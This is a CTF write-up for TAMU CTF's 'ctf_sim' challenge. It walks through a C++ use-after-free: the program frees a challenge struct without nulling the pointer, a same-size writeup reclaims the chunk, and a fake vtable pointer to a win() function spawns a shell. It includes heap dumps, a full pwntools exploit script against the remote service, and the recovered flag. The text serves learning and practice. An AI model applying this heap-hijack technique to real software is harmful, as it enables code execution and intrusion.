[TAMU ctf] ctf_sim

This is the output of checksec over the ELF of this challenge.

RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

This is a c++ challenges. There are a use after free bug in this challenge.

This program is a CTF simulator, you can download challenges, solve a challenge and submit writeup for the challenges. The challenges are all struct that contain a function. Here an example of one challenge struct:

struct pwn : challenges {
    void solve() override {
        cout << "You solved a pwn challenge by keysmashing and being lucky!" << endl;
        
    }
};

When we download a challenge the prigram ask us where to save it


challenges* downloaded [4];

void downloadChallenge() {
    int choice;
    int index;

    while (true) {
        cout << "DOWNLOAD A CHALLENGE" << endl;
        cout << "Choose a category" << endl;
        ...
        cout << "3. Pwn" << endl;
	...
        cout << "> ";
        cin >> choice;

        cout << "Choose an index to save your challenge to (0-3)" << endl;
        cout << "> ";
        cin >> index;
        
        if ((choice >= 1 && choice <=5) && (index >= 0 && index <= 3)) {
            break;
        }
        else {
            cout << "Invalid category or index" << endl;
        }
    }

    if (choice == 1) ...
    
    else if (choice == 3) {
        downloaded[index] = new pwn;
    }
    ...

}

When we choose to dwnload a challenge a new struct is allocated and then its pointer is stored inside the array challenges* downloaded at the index that we choose.

void solveChallenge() {
    int index;
    while (true) {
        cout << "SOLVE A CHALLENGE" << endl;
        cout << "Choose one of your downloaded challenges (0-3)" << endl;
        cout << "> ";
        cin >> index;

        if (index >= 0 && index <= 3) {
            break;
        }
    }

    downloaded[index] -> solve();
    delete downloaded[index];

}

But when we solve a challenge we execute the function solve of the struct than we free the allocate area of the struct, but the pointer remain into the downloaded[index] array.

In this case this allow us to reuse the same chunk by requesting a chunk of the same size and by how the malloc work it will return the same chunk of the struct allocated before. This because since the chunk is of size 0x20 it remain into the fastbins of the heap and when we request a chunk of the same size it will return the same chunk insted to allocate another.

In the binary is present also a win function that will spawn a shell for us.

void win() {
    system("/bin/sh");
}

void* win_addr = (void*) &win;

We can force the binary to call this function by submitting a writeup of size 0x20 after we download and solve a challenge, and as text of the writeup we need to insert a fake structure this because in the downloaded[index] there is the pointer to the chunk of this writeup and if we place a pointer to the win function in the first 8 byte of the writeup when the program will call downloaded[index] -> solve(); it will execute the function that is pointed by the pointer in the first 8 byte of the chunk.

0x4176c0	0x0000000000000000	0x0000000000000021	........!.......
0x4176d0	0x0000000000403d08	0x0000000000000000	.=@.............
0x4176e0	0x0000000000000000	0x000000000000e921	........!.......	 <-- Top chunk

This is the chunk and we can see he pointer to solve function 0x0000000000403d08, after we solve this challenge the heap will be arranged like this

0x4176c0	0x0000000000000000	0x0000000000000021	........!.......
0x4176d0	0x0000000000000417	0xfe9219cb7d3538b5	.........85}....	 <-- tcachebins[0x20][0/1]
0x4176e0	0x0000000000000000	0x000000000000e921	........!.......	 <-- Top chunk

and when we want to submit a writeup the heap will be like this

SUBMIT A WRITEUP
How long is your writeup?
> 24
Enter your writeup
> AAAAAAAA

0x4176c0	0x0000000000000000	0x0000000000000021	........!.......
0x4176d0	0x4141414141414141	0x000000000000000a	AAAAAAAA........
0x4176e0	0x0000000000000000	0x000000000000e921	........!.......

so if we insert the win function pointer in the first 8 bytes of a writeup of size 0x20 when we solve again the challenge will execute the win function this because the pointer to this chunk in the challenges* downloaded [4]; array was never nulled.

This if the final solve script.

from pwn import *
from pprint import pprint

context.binary = elf = ELF('./ctf_sim')
p = remote("tamuctf.com", 443, ssl=True, sni="ctf-sim")

#p = elf.process()
#gdb.attach(p)

def download():
	p.sendlineafter(b'> ', b'1')
	p.sendlineafter(b'> ', b'3')
	p.sendlineafter(b'> ', b'0')

def solve():
	p.sendlineafter(b'> ', b'2')
	p.sendlineafter(b'> ', b'0')

def writeup():
	p.sendlineafter(b'> ', b'3')
	p.sendlineafter(b'> ', b'24')
	chunk_fake = p64(elf.sym.win_addr)+p64(0)
	p.sendlineafter(b'> ', chunk_fake)	



download()
solve()
writeup()
solve()

p.interactive()

and this is the output

eurus@node-01-00:~/Scaricati/ctf_sim$ python3 solver-template.py 
[*] '/home/eurus/Scaricati/ctf_sim/ctf_sim'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to tamuctf.com on port 443: Done
[*] Switching to interactive mode
$ ls
ctf_sim
docker_entrypoint.sh
flag.txt
$ cat flag.txt
gigem{h34pl355_1n_53477l3}$